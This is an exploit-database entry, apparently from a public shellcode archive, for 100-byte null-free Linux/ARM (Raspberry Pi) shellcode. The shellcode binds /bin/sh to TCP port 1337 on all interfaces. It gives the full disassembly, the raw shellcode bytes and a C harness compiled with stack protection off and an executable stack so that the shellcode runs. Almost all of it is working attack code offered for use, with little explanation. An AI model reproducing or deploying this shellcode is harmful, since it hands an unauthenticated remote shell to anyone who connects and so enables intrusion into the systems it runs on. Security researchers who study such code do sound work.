Linux/arm bind (0.0.0.0:1337/tcp) shell (/bin/sh) + nullfree shellcode (100 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-06-15 | Type : shellcode | Platform : arm

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[+] Code ...

# Title: Linux/ARM (Raspberry Pi) - Bind (0.0.0.0:1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (100 bytes)
# Date: 2020-06-09
# Architecture: armv6l GNU/Linux
# Website: http://www.theanuragsrivastava.com
# Author: Anurag Srivastava


/*


bindwala: file format elf32-littlearm


Disassembly of section .text:

00010054 <_start>:
10054: e28f3001 add r3, pc, #1
10058: e12fff13 bx r3
1005c: 2001 movs r0, #1
1005e: 1c01 adds r1, r0, #0
10060: 3001 adds r0, #1
10062: 4052 eors r2, r2
10064: 27c8 movs r7, #200 ; 0xc8
10066: 3751 adds r7, #81 ; 0x51
10068: df01 svc 1
1006a: 1c04 adds r4, r0, #0
1006c: 46c0 nop ; (mov r8, r8)
1006e: a10e add r1, pc, #56 ; (adr r1, 100a8 <struct_addr>)
10070: 704a strb r2, [r1, #1]
10072: 604a str r2, [r1, #4]
10074: 2210 movs r2, #16
10076: 3701 adds r7, #1
10078: df01 svc 1
1007a: 1c20 adds r0, r4, #0
1007c: 2102 movs r1, #2
1007e: 187f adds r7, r7, r1
10080: df01 svc 1
10082: 1c20 adds r0, r4, #0
10084: 4049 eors r1, r1
10086: 1c0a adds r2, r1, #0
10088: 3701 adds r7, #1
1008a: df01 svc 1
1008c: 1c04 adds r4, r0, #0
1008e: 2102 movs r1, #2

00010090 <loop>:
10090: 1c20 adds r0, r4, #0
10092: 273f movs r7, #63 ; 0x3f
10094: df01 svc 1
10096: 3901 subs r1, #1
10098: d5fa bpl.n 10090 <loop>
1009a: a005 add r0, pc, #20 ; (adr r0, 100b0 <spawnit>)
1009c: 1a49 subs r1, r1, r1
1009e: 1c0a adds r2, r1, #0
100a0: 71c1 strb r1, [r0, #7]
100a2: 270b movs r7, #11
100a4: df01 svc 1
100a6: 46c0 nop ; (mov r8, r8)

000100a8 <struct_addr>:
100a8: 3905ff02 .word 0x3905ff02
100ac: 01010101 .word 0x01010101

000100b0 <spawnit>:
100b0: 6e69622f .word 0x6e69622f
100b4: 5868732f .word 0x5868732f
pi@raspberrypi:~/hex $ nano tada.c
pi@raspberrypi:~/hex $ gcc -fno-stack-protector -z execstack tada.c -o tada
pi@raspberrypi:~/hex $ ./tada
Shellcode Length: 100

*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x01\x20\x01\x1c\x01\x30\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c\xc0\x46\x0e\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x7f\x18\x01\xdf\x20\x1c\x49\x40\x0a\x1c\x01\x37\x01\xdf\x04\x1c\x02\x21\x20\x1c\x3f\x27\x01\xdf\x01\x39\xfa\xd5\x05\xa0\x49\x1a\x0a\x1c\xc1\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x05\x39\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58";
main(){

printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;

ret();
}